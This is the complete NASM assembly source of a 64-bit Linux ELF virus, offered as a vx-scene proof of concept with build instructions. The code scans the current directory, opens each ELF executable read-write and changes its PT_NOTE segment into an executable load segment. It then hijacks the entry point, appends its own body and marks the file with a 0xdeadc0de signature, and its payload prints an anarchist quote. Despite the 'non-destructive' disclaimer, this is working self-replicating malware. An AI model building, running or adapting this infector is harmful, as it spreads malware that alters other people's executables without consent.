;#################################### ;## A 64 bit ELF virus ## ;## By S01den and Sblip ## ;#################################### ; This non-destructive (all data is recoverable) Proof of Concept vx infects Position Independant Executables, and is written in pure assembly. ; It works on traditional ELF binaries, as well as those with --separate-code (4 PT_LOAD segments) ; Enjoy the reading ;) ; Don t spread this into the wild ; we don t take responsibility for what you do with this ;.____ .__ ________ _____ ____ __. __ __ .__ ;| | |__| ____ / _____/ / | | | |/ _|______ ____ ______ _____/ |_| | _|__| ____ ____ ;| | | |/ \/ __ \ / | |_ | < \_ __ \/ _ \\____ \ / _ \ __\ |/ / |/ \_/ __ \ ;| |___| | | \ |__\ \/ ^ / | | \ | | \( <_> ) |_> > <_> ) | | <| | | \ ___/ ;|_______ \__|___| /\_____ /\____ | /\ |____|__ \|__| \____/| __/ \____/|__| |__|_ \__|___| /\___ > ; \/ \/ \/ |__| \/ \/ |__| \/ \/ \/ ; Infection through PT_NOTE infection. Made with love by S01den and Sblip ; The payload prints a random quote of Peter Kropotkin (an anarcho-communist philosopher) ;#################################### USEFUL LINKS ############################### ;# https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/ # ;# https://github.com/Binject/binjection/blob/master/bj/inject_elf.go#L139 # ;# https://filippo.io/linux-syscall-table/ # ;# https://theanarchistlibrary.org/library/petr-kropotkin-the-conquest-of-bread # ;################################################################################# ; Build command: nasm -f elf64 kropotkine.s ; ld kropotkine.o -o kropotkine ; long live to the vx scene and Hasta siempre ! ;---------------------------------- CUT HERE ---------------------------------- ; some structs, thanks https://en.wikipedia.org/wiki/Executable_and_Linkable_Format ! struc STAT .st_dev resq 1 .st_ino resq 1 .st_nlink resq 1 .st_mode resd 1 .st_uid resd 1 .st_gid resd 1 .pad0 resb 4 .st_rdev resq 1 .st_size resq 1 .st_blksize resq 1 .st_blocks resq 1 .st_atime resq 1 .st_atime_nsec resq 1 .st_mtime resq 1 .st_mtime_nsec resq 1 .st_ctime resq 1 .st_ctime_nsec resq 1 endstruc struc e_hdr .magic resd 1 ; 0x7F followed by ELF(45 4c 46) in ASCII; these four bytes constitute the magic number. .class resb 1 ; This byte is set to either 1 or 2 to signify 32- or 64-bit format, respectively. .data resb 1 ; This byte is set to either 1 or 2 to signify little or big endianness, respectively. This affects interpretation of multi-byte fields starting with offset 0x10. .elf_version resb 1 ; Set to 1 for the original and current version of ELF. .os resb 1 ; Identifies the target operating system ABI. .abi_version resb 1 .padding resb 7 ; currently unused, should be filled with zeros. <--------- that will be the place where we will put out signature .type resb 2 ; Identifies object file type. .machine resb 2 ; Specifies target instruction set architecture. .e_version resb 4 ; Set to 1 for the original version of ELF. .entry resq 1 ; this is the entry point .phoff resq 1 ; Points to the start of the program header table. .shoff resq 1 ; Points to the start of the section header table. .flags resb 4 ; Interpretation of this field depends on the target architecture. .ehsize resb 2 ; Contains the size of this header, normally 64 Bytes for 64-bit and 52 Bytes for 32-bit format. .phentsize resb 2 ; Contains the size of a program header table entry. .phnum resb 2 ; Contains the number of entries in the program header table. .shentsize resb 2 ; Contains the size of a section header table entry. .shnum resb 2 ; Contains the number of entries in the section header table. .shstrndx resb 2 ; Contains index of the section header table entry that contains the section names. .end resb 1 endstruc struc e_phdr .type resb 4 ; Identifies the type of the segment. (The number which interest us are: 0 = PT_NULL | 1 = PT_LOAD | 2 = PT_DYNAMIC | 4 = PT_NOTE) .flags resd 1 ; Segment-dependent flags (position for 64-bit structure). .offset resq 1 ; Offset of the segment in the file image. .vaddr resq 1 ; Virtual address of the segment in memory. .paddr resq 1 ; On systems where physical address is relevant, reserved for segments physical address. .filesz resq 1 ; Size in bytes of the segment in the file image. .memsz resq 1 ; Size in bytes of the segment in memory. .align resq 1 ; 0 and 1 specify no alignment. Otherwise should be a positive, integral power of 2, with p_vaddr equating p_offset modulus p_align. .end resb 1 endstruc struc e_shdr .name resb 4 ; An offset to a string in the .shstrtab section that represents the name of this section. .type resb 4 ; Identifies the type of this header. .flags resq 1 ; Identifies the attributes of the section. .addr resq 1 ; Virtual address of the section in memory, for sections that are loaded. .offset resq 1 ; Offset of the section in the file image. .size resq 1 ; Size in bytes of the section in the file image. .link resb 4 .info resb 4 .addralign resq 1 ; Contains the required alignment of the section. .entsize resq 1 ; Contains the size, in bytes, of each entry, for sections that contain fixed-size entries. .end resb 1 endstruc %define VXSIZE 0x508 %define BUFFSIZE 1024 section .text global _start _start: mov r14, rsp add rsp, VXSIZE mov r15, rsp getVirus: ; first we get the vx code (thanks to the same method I used in Linux.Proudhon.i386) call get_eip sub rax, 0x12 mov cl, byte [rax+rbx] mov byte [rsp+rbx], cl inc rbx cmp rbx, VXSIZE jne getVirus call clean add rsp, VXSIZE add rsp, VXSIZE add rsp, 0x100 jmp getdot main: pop rdi mov rax, 2 ; open syscall xor rsi,rsi ; flags = rdonly syscall ; and awaaaaay we go ; we use the stack to hold dirents mov rdi, rax mov rax, 217 mov rsi, rsp mov rdx, BUFFSIZE syscall cmp rax, 0 jl exit mov r13, rax xor rbx, rbx loop: mov rax, rsp add rax, 0x13 ; d_name mov rsi, rax mov rdi, 1 xor rcx, rcx mov cl, byte [rsp+0x12] ; rcx now contains the type of data (directory or file) push rbx call infect pop rbx mov ax, [rsp+0x10] ; the buffer position += d_reclen add rbx, rax add rsp, rax cmp rbx, r13 jl loop jmp exit infect: mov rbp, rsp cmp rcx, 0x8 ; check if the thing we will try to inject is a file or a directory (0x4 = dir | 0x8 = file) jne end ; open the file mov rdi, rsi mov rax, 2 mov rsi, 0x402 ; RW mode syscall cmp rax, 0 jng end mov rbx, rax ; stat the file to know its length mov rsi, rsp sub rsi, r13 mov rax, 4 syscall ; mmap the file mov r8, rbx ; the fd mov rsi, [rsi+STAT.st_size] ; the len mov rdi, 0 ; we write this shit on the stack mov rdx, 6 ; protect RW = PROT_READ (0x04) | PROT_WRITE (0x02) xor r9, r9 ; r9 = 0 <=> offset_start = 0 mov r10, 0x1 ; flag = MAP_SHARED xor rax, rax mov rax, 9 ; mmap syscall number syscall ; rax now contains the addr where the file is mapped cmp dword [rax+e_hdr.magic], 0x464c457f ; check if the file is an ELF je get_bits end: mov rax, 3 ; close mov rdi, rbx syscall xor rax, rax ; epilogue mov rsp, rbp ret get_bits: ; check if the binary is 64 bits cmp byte [rax+e_hdr.class], 2 je check_signature jmp end check_signature: cmp dword [rax+e_hdr.padding], 0xdeadc0de ; the signature (to check if a file is already infected) jne parse_phdr xor rax, rax ; epilogue mov rsp, rbp ret parse_phdr: xor rcx, rcx xor rdx, rdx mov cx, word [rax+e_hdr.phnum] ; rcx contains the number of entries in the program header table mov rbx, qword [rax+e_hdr.phoff] ; rbx contains the offset of the program header table mov dx, word [rax+e_hdr.phentsize] ; rdx contains the size of an entry in the program header table loop_phdr: add rbx, rdx dec rcx cmp dword [rax+rbx+e_phdr.type], 0x4 je pt_note_found cmp rcx, 0 jg loop_phdr pt_note_found: ; Now, we finally infect the file ! mov dword [rax+e_hdr.padding], 0xdeadc0de ; write the signature of the virus mov dword [rax+rbx+e_phdr.type], 0x01 ; change to PT_LOAD mov dword [rax+rbx+e_phdr.flags], 0x07 ; Change the memory protections for this segment to allow executable instructions (0x07 = PT_R | PT_X | PT_W) mov r9, 0xc000000 add r9, rsi ; the new entry point (= a virtual address far from the end of the original program) mov r12, qword [rax+e_hdr.entry] ; save the OEP in r12 mov qword [rax+e_hdr.entry], r9 mov qword [rax+rbx+e_phdr.vaddr], r9 ; here we write the code to resolve and return to the OEP ; FUCK THE PIE !! ; read "Note on resolving Elf_Hdr->e_entry in PIEexecutables" from elfmaster (https://bitlackeys.org/papers/pocorgtfo20.pdf) mov rcx, r15 add rcx, VXSIZE mov dword [rcx], 0xffffeee8 ; relative call to get_eip mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5) mov byte [rcx+8], 0x00000005 mov word [rcx+11], 0x0002d48 mov qword [rcx+13], r9 ; sub rax, entry0 mov word [rcx+17], 0x0000548 mov qword [rcx+19], r12 ; add rax, sym._start mov dword [rcx+23], 0xfff4894c ; movabs rsp, r14 mov word [rcx+27], 0x00e0 ; jmp rax mov rdi, qword [rax+rbx+e_phdr.filesz] ; p.Filesz += injectSize add rdi, VXSIZE mov qword [rax+rbx+e_phdr.filesz], rdi mov rdi, qword [rax+rbx+e_phdr.memsz] ; p.Memsz += injectSize add rdi, VXSIZE mov qword [rax+rbx+e_phdr.memsz], rdi mov qword [rax+rbx+e_phdr.offset], rsi ; p.Off = uint64(fsize) mov rdx, 4 mov rdi, rax mov rax, 26 syscall ; msync syscall: apply the change to the file mov rax, 11 syscall ; munmap mov rdi, r8 mov rsi, r15 mov rdx, VXSIZE add rdx, 46 mov rax, 1 ; write the vx syscall mov rax, 3 ; close syscall ; epilogue mov rsp, rbp ret payload: mov rax, 201 ; time syscall xor rdi, rdi syscall xor rdx, rdx ; get the modulo 10 mov rcx, 0x9 div rcx mov rax, rdx inc rax xor rcx, rcx xor rbx, rbx jmp pushQuote get_quote: pop rsi loop_quote: mov byte bl, [rsi] inc rcx cmp rcx, rax je print_quote add rsi, rbx jmp loop_quote print_quote: xor rdx, rdx mov rax, 1 ; print the quote mov rdi, 1 mov byte dl, [rsi] dec dl inc rsi syscall ret exit: call payload call clean call get_eip add rax, 0x29c ; go to the restore OEP code jmp rax clean: xor rcx, rcx xor rbx, rbx xor rax, rax xor rdx, rdx ret pushQuote: call get_quote db 36,'Well-being for all is not a dream.',10 db 65,'The hopeless dont revolt, because revolution is an act of hope.',10 db 47,'here there is authority, there is no freedom.',10 db 61,'Prisons are universities of crime, maintained by the state.',10 db 68,'Poverty, the existence of the poor, was the first cause of riches.',10 db 63,'Revolutions, we must remember, are always made by minorities.',10 db 39,'Variety is life, uniformity is death.',10 db 70,'It is futile to speak of liberty as long as economic slavery exists.',10 db 16,'All is for all',10 db 162,'In the long run the practice of solidarity proves much more advantageous to the species than the development of individuals endowed with predatory inclinations.',10 dw 0x0 get_eip: mov rax, [rsp] ret getdot: call main db '.' dw 0x0 eof: mov rax, 60 xor rdi, rdi syscall ;--------------------------------------------------------------------------------------------------------------------------